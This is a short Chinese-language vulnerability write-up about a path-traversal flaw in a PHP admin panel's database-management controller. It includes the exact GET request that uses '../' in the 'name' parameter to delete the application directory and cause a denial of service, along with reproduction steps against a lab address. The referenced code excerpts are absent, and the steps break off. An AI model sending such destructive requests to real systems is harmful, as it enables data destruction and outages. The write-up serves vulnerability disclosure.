直接发送请求:GET /admin/index.php?controller=dbmanage&operate=delete&name=../../../app

即可删除根目录的app文件夹，导致系统无法正常工作。



分析:

该请求的对应代码在:

\admin\app\controller\dbmanageController.php 中，如下所示:
 

然后调用\admin\app\model\dbmanageModel.php的
 

首先判断传入的文件夹是否存在，如果存在 就删除。对传入的参数name没有进行过滤，导致利用../进行路径 穿越可以删除任意有权限的文件夹。当删除该系统重要文件夹，将会导致系统不能正常使用导致dos。

1.首先访问站点，http://192.168.1.200:801/?controller=single则系统会创建缓存文件，保存到\app\cache 目录下
 

2.请求http://192.168.1.200:801//app/cache/compile/single.php 返回内容含有Access Denied
 

3.发送请求http://192.168.1.200:801//admin/index.php?controller=dbmanage&operate=delete&name=../../../app/cache/compile/ 删除创建的文件夹
 

4.再次访问测试文件